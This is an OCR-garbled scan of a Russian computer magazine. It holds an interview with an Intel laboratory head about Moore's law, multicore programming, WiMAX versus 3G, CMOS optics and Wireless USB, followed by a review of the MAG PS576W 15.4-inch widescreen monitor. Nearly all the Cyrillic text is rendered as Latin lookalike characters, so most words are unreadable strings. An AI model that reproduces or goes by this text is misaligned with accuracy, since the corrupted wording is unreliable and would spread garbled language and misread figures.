— Kro oTBevger 30 ycnewHocTs Tex unm MHbIX HCCAER0BAHUA?

— Xopowmwii sBonpoc. Y HAC pacnpeneneHHas MoAens NPUHATAA
PELIEHNI M APAKTUKG COBMECTHOM KOMIErMAnsHOM paboTbi.

— Yro, ecnu Bapyr B npouecce Kakux-nBO HAY4YHbIX M3bICKO-
HUA HEOXHAAHHO NOSABNAETCA yAAYHASA MAEH, TPETBOPEHWUE B KH3HbL
KoTopoi Tpebyer RONONHUTENbHBIX CpeacTad

— HecmoTps HA TO, 4TO Mbl MPUBA3GHL K EXErofHOMY Bromxe-
TY, NPH HEOBXOAUMOCTH ECTh BO3MOXHOCTb CPOYHO, CKOXEM, B Ce-
PEAMHE rOAG HO4ATL HOBLIE MCCNEAOBAHMSA.

— Hackonsko ganeko 8 Eypywee npuxoaurcs 3arnagesars In-
tel npu nposeaeHmn ceoMx MccneaoBaHni?

— DTO OYEHL 3ABMCHT OT OTPACK, ANS KOTOPOW Mbl BEAEM MC-
cneposanma. Obeiuno 310 5—10 net, xoTa B cnydae Texnpoueccos
CO3AAHWA NONYNPOBOAHMKOBbIX KOMNOHEHT MPUXOBUTCA CMOTPETH
ewe panswe, Hanpumep, snnots Ao 2020 ropa. [MpuumHon tomy
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BonbLIAs TPYROEMKOCTb BHELPEHNA HOBLIX TEXMPOLECCOB 1 NEpe-
obopynosaHus Npon3eoacTsa. Kak HM cTpaHHo, 04eHb BaXHO 3a-
HUMOTHCA NPOBANLHBIMA NPOEKTAMM, BENb CNAOLLIHON YCNex — no-
KO30TENb HOWEeN HEAOCTATOYHOW arpeccuBHOCTU. C 3KOHOMMuE-
CKOM TOMKM 3PEHMA rOPO3A0 AELUEBNE HAYATL HEYLAYHbIK NPOEKT
B NaBOPATOPUM, HEXENN HA CTAAMM NPOM3BOACTBA.

— Yro moxere ckasars o 6yaywem aaxona Mypa?

— 370 eWe MONOAON 30KOH, XOTA €My HEAABHO MCMOMHMNOCH
40 net © (em. crarsio Cepres H. MULLIKO «3axor ecTs 3akoms,
MK, No18—19 (345-34&). — lMNpum. pea.). Mo xpaiinei mepe ewe
net 10—15 MHOXECTBO TEXHONOTUUECKUX YNyULLIEHUA ByAeT BHITEKATH
n3 3akoHa Mypa. B Hawwx noBopatopusx ycnewHo wayT paboT,
CBA3AHHBIE CO CNEQYIOWMMN TPEMA NOKONEHUAMM TEXMPOLECCOS:
65 Hm, 45 Hm, 32 Hm. M nycTs peub MaeT o CNOXHOM UHXEHEPHOM
30A04€, HO YKA3OHHBIH NEPUOA BPEMEHW Y HAC XBATUT paboThI.

— Bonpoc no nosoay mHorosaepHeix npoueccopos. CerogHs
yXe ecTb AByxbagepHbie NpoAykThl (cm. ctateio Bnagumupa CU-
POTbI «dsg monogua n3 npoua», MK, Ne23 (350}). — Mpum. pea),
NO3Xe HaM 06eLaioT NPOLECCOpPh! C YeThIPbMS S4PaMKU U Bonble,
Bonpoc oTHOCHTENEHO CROXHOCTH NPOrPAMMHPOBAHNS TAKMX MPO-
AyKTOB, BeAb oHa ByReT pact NPoONOPUMOHANBHO KOMYECTBY
apep, — kak Intel namepera pewars 3ty npobnemy?

— Bui npasel, npobnema NporpamMMpOBAHKA NPOLECCOPOB C
BOnbLIMM KONMHECTBOM SAEP — OOHA M3 HAMBONEe CNOXHLIX MPU
CO3AaHWK TakMX NpoaykTos. Jlabopatopus, kKoTOpas 3aHuMaeTcs
NOPANNENbHBIMM BHIMUCTIEHUAMM, MMEET MHOXECTBO NPOEKTOB, HA-
LeneHHbIx Ha ee peileHre. CywecTByeT ONPeaeneHHsli Knace ner-
KO PACNOPANNENMBAEMBIX MPUIOXEHWI, ANA OCTANLHBIX NPEAHA3HA-
YeHbl OBTOMATU3UPOBAHHBIE UHCTPYMEHTHI, MPU3BAHHBIE MOMOUL MX
pacnapannenuts, Mil Takke nccneayem Domain Specific Languages,
KOTOPLIE NOMOMYT MPOrPAMMUCTAM CO3AABATL PACTAPANAENEHHBINH
kon. Hakorew, mbi pabOTaEM C APYIMI KOMMIOHUAMM, TAKUMM KK
Microsoft (www.microsoft.com), ans koTOpLIX akTyansHa Ta xe npo-
Bnema. Mbl OBBLEAMHAEM HOWM YCMAMA ANA YNYHILEHUS KAYECTBA
HAOBOPOB MHCTPYMEHTQ/bHLIX CPEACTB ANA NAPANAENLHOrO MPO-
FPAMMMPOBAHKA, 3ATPOHYTAS BamMKM TeMa onpeneneHHo ByneT oc-
HOBHOW TEMOW WCCNEAOBAHMI B MHAYCTPUU M YHUBEPCUTETOX HO
Bnuxaiwme 5-10 ner.

— Y10 MOXHO €KO3QTH HA CErogHAWHMI aeHb 06 uHTerpaumn
MOBUALHBIX TexHONOrMA TpeTbero nokonenns (3G — third genera-
tion] 1 WIMAX (Worldwide Interoperability for Microwave Access)?

— TexHMYeCKkM ITO COBEPLLEHHO PASHBIE CHCTEMBI, M OHW HE CO-
BmecTumbl. [pn ux co3aaHMK pas3paboTymki M3HAQYANEHO Npecne-
AOBANM PA3HLIE UENW. MCTOPHYECKH CNOXMNOCH TAK, Y4TO B OCHOBE
cucrem 3G nexar ronocossie dyHKLMM, TOTAA KOK ANS nepeaayu
IP-tpaduka orm meHee ontumuanposans. WiMAX, HaoboporT, us-
HAYANLHO PA3PABATHIBANM MMEHHO ANS NAKETHOM NEPeaayM AaH-
HbiX, AN HEro CTaHAApPT ONTUMUIUDOBAH OYEHb XOpowo. |_|03TOMy
3T TEXHONOMMK XOTA M ByayT DONOMHATL APYF APYFA, BCE Xe 0CTa-
HYTCS KOHKYPEHTOMM HA PhIHKE.

— Tak Bce-Taku cnegyer roBoputs 0 cumburose 3Tux TexHONO-
TMH UM O KOHKYPEHLIMM MEXAY HUMME

— Croxnbit Bonpoc. % nymaio, B OTAGNEHHOM nepcnekTuee
Mbl YBUAMM CUMOUO3, HO B Bnuxaitiuee Bpemsa, OAHO3HAYHO, Ha-
DO rOBOPMTE O KOHKypeHunn. Ecan nocmoTpets Ha TexHrueckue
Auckyccum, koTopele uayT 8 3G-coobwectse, B yactHocti, 3GPP
(www. 3gpp.org), TO OHM NPEANOAGrAIOT UCNONL3OBAHUE B MOSYb-
Heix pewenusix ynnotHerns OFDM (Orthogonal Frequency Divi-
sion Multiplexing), koTopoe u nexut & ocHose WIMAX. Mo3atomy
B OTRQNEHHON NEPCNEKTUBE 3TU TEXHONOMMMU MOWAYT BMECTE, HO
He cenvac.

— [lnanupyer nu Intel noasepxusars Ha yposHe wHTerpupo-
BaHHLIX 4Mnos BecnposogHsie TexHonoruu, otauunsie ot Wifi u
WiMAX?2

— Mockoneky a cam pabotao B NaBOPATOPHM U OTBEHTIO 30
Oynyuwme paspaboTku, TO AONXEH OYEHL OCTOPOXHO OTHOCMTHCH
K CODCTBEHHbIM KOMMEHTAPUMAM MO NOBOAY NPOMYKTOB, KOTOPbIE
CEN4ac NPUCYTCTBYIOT Ha puiHke. YTo kacaetcas WiFi, mul B3snm Ha
ceba 0693aTENLCTBO MHTErPUPOBATL B rOTOBLIE CUCTEMBI 3Ty Tex-
HONOTUIO, BCE €€ OYepeaHble BepCk — TO Xe kacaetca u WiMAX,
Mei noctasunu nepen coboit 3apady nossonute HoyTGykam u KIMNK
nerko U 3GGEKTUBHO MCNONB3OBATE BECNPOBOAHBIE CPEACTBA CBA-
3u1. Mcxoma 13 3TOrO, CTPEMMMCA MCMOML3OBATL BCE MMEIOLLMECS B
HANKYKUK Y HOC BECNPOBOAHBIE CPEACTBA M TEXHONOTMM. Y4uTHIBA-
em Takxe noxenanus OEM-npounssoautenei no uHterpaumum Tex-

Honorvi 3G B rotoseie ycTporcrsa. Hakoreu, pabotaem 8 nabo-
PATOPUM HAL CO3AARMEM TMEKUX PAAMOPELLIEHNHA, COBMECTUMBIX C
PA3NUYHBIMA BUOGMU pOﬂMOCOeﬂMHeHMﬁ.

= KOFAO MOABATCA TAKHE pel.uemm?

— B HacToswee Bpems DOCTYMHL OTAENLHO B3ATHE PABMOPE-
WeHnA, NOA KOXAOE U3 KOTOPLIX Npeanonaraercs OTﬂeﬂbeIﬁ YHr.
Honeemcs, 8 nepcnekTuse, C PA3BUTHEM PASHOOBPT3HLIX CTAH-
AapTOB HECNPOBOAHOM CBA3M, KOMMbIOTEPHOE 0BOPYAOBAHKE He
Byaer CoCToATs TOMBKO MMLWL M3 3TUX CaMbIX 4unos. B Howein na-
Boparopun 8 PaMKaX OTRENLHOTO NPOEKTA NMPOBOAATCA MCCNEno-
BAHWA M pA3paBOTKM, HAOLENEHHBIE KA CO3AAHWE eauHoro Habo-
Pa YKMOB, KOTOPBIA MOXHO DYAET NEPENPOrPAMMUPOBATE NOA BCE-
BO3MOXHbIE pAAMOCTAHAAPTLl K YACTOTHbIE ONANa30HbL. 3TO HE-~
NPOCTOS 30AGYA, HO Mbl YXe AOCTUMMK PA3yMHOrO Mporpecca B
€e peLeHmm.

— WIMAX ponxen npuatn Ha cmedy WiFi unu 3to 83anmHo
[OMNONHAOWME peweHns?

— OHu oueHb CUITbHO AONOAHAIOT apyr apyra. WiFi — npekpac-
HOS TEXHONOMMS ANS XOT-CNIOTOB, ANS UCMNONL3OBAHMA AOMA, B ODH-
Ce, B PANOHAX C BLICOKOM NNOTHOCTLIO HaceneHus. WiIMAX opu-
EHTUPOBAHA HO OBECNeYEHUE MOKCUMANBHOTO PALMOMNOKPLITHS.
Co BpemeHem mul Bynem Mcnonb3osats 0Be 3Tu TeXHONOrMK oa-
HOBPEMEHHO B 3ABUCMMOCTH OT 308A4HM, KOTOPAS CTOMT NEPEN KNK-
EHTOM — Hanpumep, ucnonssosanve LAN (Local Area Network)
unn MAN (Metropolitan Area Network).

=3 TO eCTb peyb uAeT BCe-TaKh O PA3HbIX Texuonomnx.e

— Ha camom aene WiFi u WiMAX noctatouHo noxoxu, HO cen-
YOC 3TM TEXHONOTMU MPUHATO PACCMATPMBATL OTAENEHO APYF OT
apyra. B nepcrektise mbl Hamepers 0be ux MHTErpMPOBATS B eau-
HOM YCTPOWCTBE.

— Kakue komnanmm, kpome Intel, cosgaor yuner WIiMAX?2

— TouHO He MOry CKA3aTh, B MOM OBAAHHOCTM HE BXOMUT OT-
cnexuBaH1e UHGOPMALMM NO NPOAYKTAM HALIEH KOMAGHWK W KOH-
KypeHToB. 3Haio, 4To Fujitsu {www.fujitsu.com) paboTtaet B aaHHOM
obnactu, ewe Samsung, HO He yBepeH, ecTb MM y nocneaHedn o6-
pasub 8 kpemHun. Boobuie, sBonpoc He ko mHe, — aymaro, B Intel
HO;ﬂleTCﬂ HEMAno COprﬂHMKOB, pacnonaraux TO4YHbIMK CBeAE-
HMAMK Ha 3TOT cyeT. K coxanennio, BONPOC BHE NPEfenos Moen
KOMNETEHLUN.

— OuesugHo, vepes 2-3 roaa pbiHoK uHTErpuposarHsix WiMAX-
uunos Byger copmupoBan n cTpykTypuposaH. Kakyto gonio Ha
AGHHOM PbIHKE PaCCHMTBIBAET KOHTponnposats Intel, ytobel cum-
TaTh 370 gns cebs ycnewHsim?

— Ewe oanH BusHec-sonpoc ©. 9, Ha camom aene, He TOT ve-
NOBEK, KOTOPOMY CTOWT 3040BATE NOAOBHBIE BONPOCH, HAWA NO-
6opaTtopus paboTaeT HAA TEXHONOTMAMM, HE BAJBAACH B AETANW
6usHeca v peiHka. Mory ckasats, uto Intel Hauenena GuiTe seco-
MbIM UTPOKOM priHKa uunoe WIMAX, mb pabotaem co mHOrMmM
NPOW3BOANTENSMIM HA 3TOM PbIHKE, Y4TOEH ONPEAENHTL CTAHAGPTHI
1 0cobeHHOCTH 0BOPYAOBAHMA HO BnMXakWKWe HECKONLKO NeT.
Ceuac mbl MONHOCTHIO YAOBNETBOPEHY! HALIMM MPUCYTCTBUEM HA
puiHke WiFi-pelienuii, nHTerpupoBaHHeix 8 HoyThykn. dymaio, no-
XOXWe PesynbTATh ANA PLIHKA MHTETPUPOBOHHLIX pewennn WIMAX
mbl Obl counn ana cebs ycnewHsIMu.

— Mo Bonpoc cBa3ax He cTonsko ¢ BecnposogHsIMM KOMMY-
HMKAUMAMHM, CKOMBKO € ONTUYECKMMM. KAKUMM NPOEKTaMM 8 3TOM
c8a3u 3anumaercs Intel 8 cBonx naboparopuax?

— Mos nabopatopus 30HUMAETCH HEQOPOIMMM ONTHYECKUMM
NPUNOXeHnamu ana MCnonsL30BAHKA B UEHTPDAX QAHHBIX UM gaxe
8 HoyTBykax ans ofmeHa uHpopmauven, ckaxem, ¢ 6ason aaH-
HbIX. 30MEUY, 3TO COBEPLUEHHO APYIME 30404, HEXENN TE, KOTO-
Pble MPUXOAMTCA PELLATL B CAYYAE ONTOBONOKOHHLIX TENEKOMMY-
HUKAUMOHHbIX pelwenni. [ng ontuku kputuueckas npobnema —
BbICOKQA CTOMMOCTb WU COXHOCTb MHTETPALMK € YXE CYLIECTBYIO-
wimn TexHonoruamu. 41obul nabexats ykasamHbix Npobnem npu
pabote ¢ ONTUKOW, Mbl AOMAXHB MCNONL3OBATH TPAAMLMOHHbIA
CMOS-npouecc {Complementary Metal-Oxide Semiconductor).
Hawum nexerepam yaanocs cosaats rurabutheii CMOS-moay-
natop 8 Hauane 2004 roga, o0 kOTOPOM Mbl ONyBNKMKOBANK MaTE-
puan 8 xypHane Nature (www.nature.com). B 3Tom roay Intel Tam
xe onybnuMkoBana ewle ORMH MATEPMAn O CO3AAHWM MEPBOTO B
MHUPE NIA3EPA HEMPEPLIBHOMO U3NYYEHWA, NOCTPOEHHOTO HA OCHO-
e CMOS-npouecca fem. crarero Cepres H. MULLKO «Xryune
cnnmkoHossie... naszepsiy, MK, No9 (336). Ha kmovesom goxnase
Kesura Kana so spems kuesckoro IDF npucyrcrsosan suaeogppar-




MEHT, NOCBALUEHHBIN PA3PAbOTKaM ynomsHyToro nasepa. — [loum.
pen.).

— I'ne Bbi BUAMUTE Cepbl NPUMEHEHWUS ONTOINEKTPOHMKME

— Kak a yxe ckasan, KOMMYHUKALMK U UEHTPbI ACGHHBIX.

— Bugure nv 8o M3 cBoero ogmca B Amepuke ocobeHHocTu
PO3BMBAIOWMXCH TENEKOMMYHUKAUMOHHBIX PLIHKOB, TOKMX KAK YK-
POMHCKMH, HONPUMEP, M KAK Bbl y4uTbiBOETE 3T OCOBEHHOCTH B
csomnx paspaborkax?

— B mepy HawMx Cun M BOIMOXHOCTEN Mbl CTOPOEMCA NOHATL
CNeundrUIEcKUe HyXabl BCEX PLIHKOB, KOTOPLIE Mbl BUAMM MO BCE-
my mupy. Toi xe texHonormn WiMAX, aensioweinca ansTepHaTy-
8ol nposoaHeim DSL-coennHerusm, npowe 3aeoesats ycnex 3a
npeaenamu Coepmnnennbix Ltatos, rae DSL-texHonorun naeHo
MONb3yKTCA NONYNIPHOCTLI0. BO MHOMIX CTPAHOX, B TOM YMCnE 1 B
Ykpaune, ucnonszosarne WiMAX oueHb 3KOHOMWYECKM BbITOLHO
NPY PA3BEPTHIBAHUM LIKPOKOMONOCHOTO AOCTYNA — B CPUBHEHMM
C ONTOBONOKOHHLIMW IMHUAMK CBA3KW, HANPumep. Mbl suginm 6onb-
wown uHtepec k WiMAX B cnyuae Heobxoaumoctn paspaboTtku Ho-
BOW MHbPACTPYKTYPSI.

— Her nm y Intel nnanos no seinycky WiMAX-uunos ans 6a-
308bix cTaHUMK? To eCTh HE NONB30BATENLCKOrO KNACCA, A onepa-
TOPCKOro.

— B HacToawmnit MoMeHT mbi, Npexae BCero, OPUEHTUPOBAHL HA
NPOLAYKTH AN MOBUbHLIX TEPMUHANOB, A He A BA30BbIX CTAHUMA.
Ho met paboTaem CO MHOTMMM KOMMOHHAMW, MHTEPECYIOLINMUCA BO3-
MOXHOCTBIO MHTErpaumMi TexHonormm 8 6asossie cranumn. OaHako
NPEACTaBNeHHbIN Hamn yunceT Rosedale onpeaeneqHo onTummnanpo-
BOH 418 MOBUNBHLIX TEPMUHANOB.

— 3HauMT, BCe-TaKM CTOMT OXMAQTH MOABIEHUA NPOAYKTOB
WIMAX B Tom uncne u ana 6a30Bbix CTAHUMIAE

— Mel Hynem coTpyaHUYATE € TEMM, KTO XOHET PabOTATL B ITOM
Hanpaenenny. o kpaiHen mepe, mbl 3HOEM OIHOTO M3 NPOU3BO-
AUTENen, KOTopLIK cobupaeTcs MCNons30saTh uvn Rosedale ana 6a-
30BbIX CTQHLMA, XOTR OH ANA 3TOTO U HE ONTUMMIUPOBAOH.

— Masectro, uto Intel u, B yactHoctn, Communications Tech-
nology Laboratory, sHecnu gocrarouHsii Bkaag 8 passutue ewe
oaHoro Hanpasnenua Gecnposogrocth — UWB (Ultra Wide Band),
8 yactHoctH, Wireless USB. Y10 8 gaHHbisi MOMENT npoMcxoamT m

HHmepsbh

KOFAQ MOXHO OPHEHTHPOBOYHO XAATh KOMMEPYECKME MaclwTabhbl
POa3BEPTLIBAHMA 3THX TEXHONOTHIE

— Mos nabopatopus pencTenTensHO BoBneveHa B paspabor-
Ky MEPEUNCIIEHHBIX TEXHONOTUA. Mbl paBOTAEM CO MHOXECTBOM HE~
BONbLIMX KOMNGHKHA, KOTOPLIE yxe anpobupyroT rotossie obpas-
up wunos. It Hapabotku Intel npencraenana Ha ceoux dopymax
ANA pa3pabOTUMKOR M PO3NMUHBIX MEXKAYHOPOAHEIX BEICTABKAX. Bee
cneundukaumi onybIMKOBAHSE, C HUMM MOXET O3HOKOMMUTECA MO-
Goi xenaouwmit. AnesHe WiMedia (www.wimedia.org) cobupaercs
NPOBOANTL TECTUPOBAHKME OBOPYAOBAHNA HA PYHKLIMOHANBHYIO CO-
BMECTUMOCTb. [OABNEHNA NEPBLIX NPOAYKTOB HA PHIHKE CTOWNT OXW-
AGTh 8 KOHLE TEKYLEro — HAYane CenyrowWwero road.

— MonyyaeTtcs, B AAHHLIA MOMEHT PEYL MAET O KOHEYHOM NPaK-
TMYECKOM PEanM3aLMM NPOAYKTOBE

— Ja, aeicTBUTENbHO, OCHOBHLIE Creundbukaumn yxe yTpace-
Hbl, U OHM OCTAHYTCA 6E3 U3MEHEHUI — B HOCTOSALWEE BPEMS NPO-
ussoanTenu paboTaioT HOA AM3ARHOM FOTOBLIX NPOAYKTOB. (Ha ku-
esckom IDF cocrosnca oraensHbiii TEXHNYECKMA CEMMHOD, MOCBA-
wieHHsIs TexHonormn Wireless USB. Ero nposemu pycckoassivHbie
cneusamcTel M3 cankT-netepbyprckoro noapasgenenns Commu-
nications Technology Laborotory, kotopoe HaxoguTca 8 BeaeHuH
Kesuxa Kona. — [pum. pea.).

— Hanocnegok nposoxaymoHHbi Bonpoc. Hackonsko n3sect-
Ho, Intel cuntaer peiox WIMAX owenb nepcriextusHeim ans Yk-
pannel. B To xe Bpems Ha TeppuTopnn cocegHer Pocenn cywecr-
syeT naTb yentpos paspaborku Intel, a B Ykpaune Huvero nogob-
HOrO KOMMGHMS BO CUX MOP AAXE HE NAQHUPYET.

— [onro xe ebl TaHymm ¢ 3mum Bonpocom ©. Texvonorua cos-
AQHWA LEHTPOB pa3paboTkn oueHs CnoxHa. Mue, Hanpumep, noa-
KOHTPOMbHEI TOMLKO LEHTPH PA3PabOTKK, Ubs AEKTENBHOCTE HANPA-
MYIO CBA3AHA € AEATENBHOCTHIO Moen nabopatopuu. Ha Teppuro-
pun Poccum 310 uentp B Cankr-letepbypre. OtHocutensHo nna-
Ho8 Intel HacyeT YKpauHbi, K COXANEHUID, MHE HAYETO HE U3BECT-
HO. 3HAIO TOALKO, 4TO YkpanHCkui peiHok MK, kommyHukaunin, Wi,
WIMAX onpegeneHHo BaxeH 4ns HAwen komnaxuu, Pewenns o
CO3A0HWM LEHTPOB Pa3paboTkk MPUHUMAKOTCA TONLKO HA CAMOM
BEPXHEM KOPMOPATMBHOM YPOBHE.

— Cnacnbo, KesuH, 30 conepxarensHoe M MHTEPECHOE HHTEPBBIO.
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MAG PSa76W

Anekcangp KOHOAYPOB,

PYKOBOAWTENE OTAENA HOYYHO-TEXHHUHYECKOW MHpopmaumn komnarmn K-Trade

NArofaps CTOPAHWUAM PEKNAMHBIX APOCNekToB u Hi-Fi-xyp-

HOMNOB NPW CNOBOX «AOMALWHWUA KUHOTEATP» Nepen BHyT-

DEHHWM B30OPOM YOULE BCErO NPeacTaer KAaPTMHKA C Npo-

EKLMOHHBIM TENEBU30POM B OTLENbHOW KOMHATE, B KOTO-
pown 13 mebenu Tonsko aMBaH Aa cToHka ¢ annapatypoi... Oa-
HAKO TEeMm, Y KOTro HeT HEHy)KHOﬁ KOMHQTL ANg TAKOro 4yana nep-
COHaNsHOro komdpopTa ©, OTYAMBATLCA HE CTOMT: HO COMOM Ae-
1€ MOXHO ORITHWU30BATHL «KKMHOTEATPANLHBIAY NPOCMOTP, NOTPA-
TUB 3HAYUTENbHO MEHbLUKE CpeacTsa M He CIULWKOM BbiXOAOA 34
npeaens paboyero crona.

Ons Toro, utobBel pasobparses, Yem OTAMYAETCH IKPAH KUHO-
TeaTpa OT IKPOHAO TEeNEBM3OPd, AOCTATOYHO BCMOMHWTL, UTO
MMEHHO HOM GONbLIE BCErO MeWwaeT Npu NPOCMOTPE GUAbMA
Ha 3kpare Tenesusopa. [Npasunero, HecooTeeTcTene dopmara
3KpaHa (¢ cooTHoweHuem cTopoH 3:4) u dopmaTta kuHokaapa
(cootHOWweEHME cTOpOH y Hero BhiBaeT pasHeim — oT 16:9 po
2.5:1). 4106 cMOTPETH TOKOH LUIMPOKODOPMATHLIN KAAP HA K-
paHe TeNesusopa, NPMXOOMTCA NUBO MUPHUTLEA CO 3HAYUTENL-
HBIM YMEHbLUEHWUEM KAPTUHKM NO BepTukany (uTobbl B Tenekaap
NOMECTUIACH NOAHASA LUMPUHA KUHOKAAPA), TMB0 OTPe3aTh «AnLL-
HME» YUCTM KMHOKAAPA, OCTABNAR TOMLKO TO, Y4TO MOMECTUNOCH
Ha aucnnee. Mepsbiit cnocob noasonseT BuaeTs BCe, YTO NPO-
MCXOOMT B KAAPE, HO M30BPAXeHue, BO-NEpBbiX, AENAETCH rO-
PA3NO MEHBLLE M, BO-BTOPbLIX, TEPAET MENKME AETANM, CTAHOBA-
wMecs HepasnnuvmbimMmM Npu ymerslueHnn. Bropon cnocob no-
3BONAET COXPOHWUTH PA3MED HAMDONEE BAXHOW, UEHTPANbHOM
4ACTW KOAPQ, HO YACTO MPUBOAMT K TOMY, Y4TO CTAHOBWTCA NPO-
CTO HEMOHATHO, HA YTO XE YCTABUNUCH TePOK — OBBEKT MX BHU-
MOHUS OCTANCA AN HAC 30 KOAPOM...

MMEHHO ANs pelweHmns 3TOH HENPUATHOW OMNEMMbI ROMALLHNE
KMHOTEQTPbI KOMMNEKTYIOTCA TENEBM30PAMM C NOKO He OueHb
npuBbi4HbIM GopmaTom kaapa — 16:9. Takoe cooTHOWEHME CTO-
POH, BO-MEPBbIX, COOTBETCTBYET CTAHAAPTY TENEBUIEHUA HOBO-
O NOKONEHUA — TENIEBMAEHNS BLICOKOTO PA3PELLEHNS W, BO-BTO-
PbIX, NO3BONAET CHMBHO YMEHBLUMTE HEUCNONLIYEMYIO YACTL 3K-
PAHA Npu BOCNPOM3BEAEHUW LWMDOKODOPMATHBIX GUNLMOB, BU-
3yanbHO NPUBAMXAS KAPTHHKY K KMHOTEaTpansHoi. Ho kTo cka-
30N, YTO TAKOM HOPMAT KAPTMHKM NPUTOLEH TONLKO ANS Tene-
Bu30pa¢ KomnbioTepHBIA MOHUTOP OT TENEBM3OPa OTNUYAETCH
UCKMIOUMUTENBHO MCTOMHUKOM NOMYHEHNA KAPTUHKU — MECTO BCTPO-
eHHoro TioHepa 3aHsn VGA- unu DVI-kabens, nopkniouaemeiit
cooTBeTCTBYIOWEMY BEIXOLY BuaeokapTsl. K Tomy xe nonobHoe
«PACLUMPEHNER MOHWTOPA NO3BONMNO Bbl YBENUUMUTE MONE3HYIO
nnowaone paboyero crona...

Mnes sutana B Bo3anyxe, u BONPOC €€ BONNOWEHNA B XM3Hb
HOAONrO He 3aTaHyncs. CTapoXuUn GMEPUKAHCKOTO PHIHKG KOM-

MO KOMIBIOTEP

nboTepHbix MmouuTopos MAG Innovision, He Tak BABHO paciuun-
puBWKIA cBOK 0BnacTb aeaTensHocTu Ha Espony v HOW PLIHOK,
CNEUManLHO ANs CO3AaHUSR «KKMHOTEATPA HA CTONE» NMPEANOXu
mogens moHutopa MAG PS576W c nanensio guaroHansio 15.4
AOAMA C COOTHOLWEHNEM CTOPOH 3KkpaHa 16:9 u paspelwenvem
1280x800 nukcenen. Mpn uexe uyts sbiwe 1200 rpueen 3toT
MOHUTOP NpeacTasnaeT coboi Haubonee KOMNAKTHLIA HA Cero-
OHAWHWA O€Hb BOPWAHT ANA TEX NOMb30BATENEH KOMMbIOTEPOS,
KOMY XO4eTCs KOMPOPTHO CMOTPETH WMPOKOGOPMATHBIE bunb-
Mbl, HO cBOBOAHOE MECTO UM BUHOHCH HE MO3BONAIOT «PA3-
MAXHYTLCA» HA LUIMPOKO3KPAHHBIM TENEBU3OP.

CTpormn 1 COBPEMEHHBIN AU3AHH MOHUTOPA NO3BONAET emy
OPraHMYHO BNMCATLCA B NiOBOM MHTEpLEpP, Yemy cnocobereyet
N MUHUMONBHBIA PA3MED QMIOMUHWEBON PAMKKM BOKPYT CAMOWM
naHenu: caepxy u C GOKOB ee WHpPUHA He NpesbitaeT 14 mm, n
TONBLKO CHWU3Y PAMKA CTAHOBMTCH nowwmpe (39 mm), ckpeiBas ABA
FPOMKOTOBOPHTENS, MEXAY KOTOPbIMKA PA3MELLEHb! NATb KHONOK
ynpasnenws. B rnybuHy pasmep mMOHUTOPQ ONpepensercs pas-
mepom ocHoBaHUA noactasku {160 mm), noseonsiowen perynn-
poBarTs yron HaknoHa nawenn. Kabenu, noakniouaemsie k name-
M C3A0M, OCHOWEHB! CMELMANEHBIMM YITIOBEIMU PU3LEMAMK, OBec-
NEYUBAIOWMMIU NOABOL KABENs NAPANNENLHO 30AHER CTeHKe Na-
HENU W, COOTBETCTBEHHO, MO3BONAOME NPH HEOBXOAUMOCTH YC-
TAHOBMTL MOHUTOP BRNOTHYIO K cTeHe. BHewHwit 6nok nutarus
TOXE CNOCOBCTBYET 3KOHOMMM MECTA HO paboYem cTone.

CraBlune NpakTMYecku CTOHACPTHLIMK ANs | 5-AI0MMOBLIX MaT-
pUl 3HQYEHUs APKOCTH W KoHTpacTHocTu (250 Ka/m? u 350:1
COOTBETCTBEHHO) OBecneumnBaioT KomGpopTHYIO paboTy ¢ Tek-
CTOMM W TPADUKON, C OAHOM CTOPOHBI, M OKA3LIBOKITCA BNONHE
AOCTATOMHbIMKM ANA GUIBMOB M UTP — C APYrok. BcrpoeHHsie
ABYXBATTHLIE FDOMKOTOBOPHTENM, ECTECTBEHHO, HE MPEAHA3HA-
YEeHbl AN KAYECTBEHHOTO BOCNPOM3BEAEHMA 3BYKOBOW AOQOX-
kM (BCE Xe ANA AOMALLHErO KMHOTEATPA BTOPHIM MPUKTUHECKM
HEOOXOAMMBIM KOMNOHEHTOM MOXHO HA38aTh 5.1 3ByKOBYIO CHC-
Temy, 6/1Qro B HALWM HW WX BNOAHE XBATAET HA Mo6LIE BKYCH
KK MO rabaputam, TaK 1 N0 UEHE), HO NS CUCTEMHBIX 3BYKOB
Windows, |CQ'wHoro «ky-ky!» unu ¢boHoBOW My3bikn Mx BNon-
HE xBaTQeT.

YHpOBﬂeHMe MOHUTOPOM OCyLU,eCTBﬂﬂeTCﬂ MNATBKD KHONKAOMMU,
PACNONOXEHHbIMM HA NEPEnHen naHenu nog matpuuen. KHon-
KQa POWef (€ MHﬂMKOLLVIeﬁ COCTOAHHMA MOHWMTOPA NO3BONAET Bbl-
KMIQYMTL €70, ECAK NO KAKOM-TO NPUYMHE ONEPALMOHHOS CHCTe-
MQ HE YMEET CAENATH 3TO CAMOCTOATENLHO (TAKXE MOHUTOP Bbi-
KNIOMAETCa Cam NOCNE HECKONbKUX CeKyHa OTCYTCTBWA BUOEOCHUT-
Hana Ha exofe). C nomouwbio KHOMKM AUt MOXHO MPUHYANUTENb-
HO 3aMYCTUTL TBTOMNOACTPONKY MOHUTOPA NOCIE CMEHH BUAEO-
pexuma. OcransHbie Tpu kHonkn — Menu, Up n Down — ynpas-
NAKT IKDAHHBIM MEHIO, AOCTATOYHO CTAHAAPTHBIM M UHTYUTHUBHO
noHaTHbIM. [Tpu BeikNIO4eHHOM meHIo kHoMku Up n Down pery-
FIMPYIOT TPOMKOCTb BCTPOEHHbIX AUHGMUKOB.

Mpu pabore B rpaduyeckon cpene Hemano pagyet u pac-
LUMPEHHBIA NO CPUBHEHMIO CO CTAHAOPTHBIM |5-A0HMOBLIM MO-
HuTOpom PaBouunii cton — HA WKPOKO3KPAHHOM None nomewa-
10Tca He obbiyHble 1024x768 nukcenei, a 1280x800. NnuwwHwit
pPAR UKOHOK no BEPTHUKANW, HE rOBOPA yXe O AONONHUTENLBHOM
MECTE NO rOPM3OHTANK, ELLE HUKOMY HE mewan. YBEenMyeHHas
ANUHA TOPU3OHTANBHLIX MEHIO TaKXE nossonser onee ynobHo
pasmecTuts Tyn6apsl B oducHbIx naketax (B Tom xe Microsoft
Word nocTosHHO HE XBATAET MECTA AN PUSMELLEHMA KHOMOK,
BbI3LIBAIOWIMX MHCTPYMEHTE PELOKTUPOBAHMS).

CymMMUpYys BCE CKA3OHHOE, MOXHO CMENO MPEANCNOXUTL, YTO
moHutop MAG PS576W okaxercs ynauHeim npuobpereHnem
AN BCEX TEX, KOMY HE YyXAO MAES NOMOLHErO KUHOTEATPd, HO
06CTOATENLCTBA HE MO3BONAIOT UCMONL30BATL ANA HETO KPYMHO-
rabapuTHYIO annapaTypy.
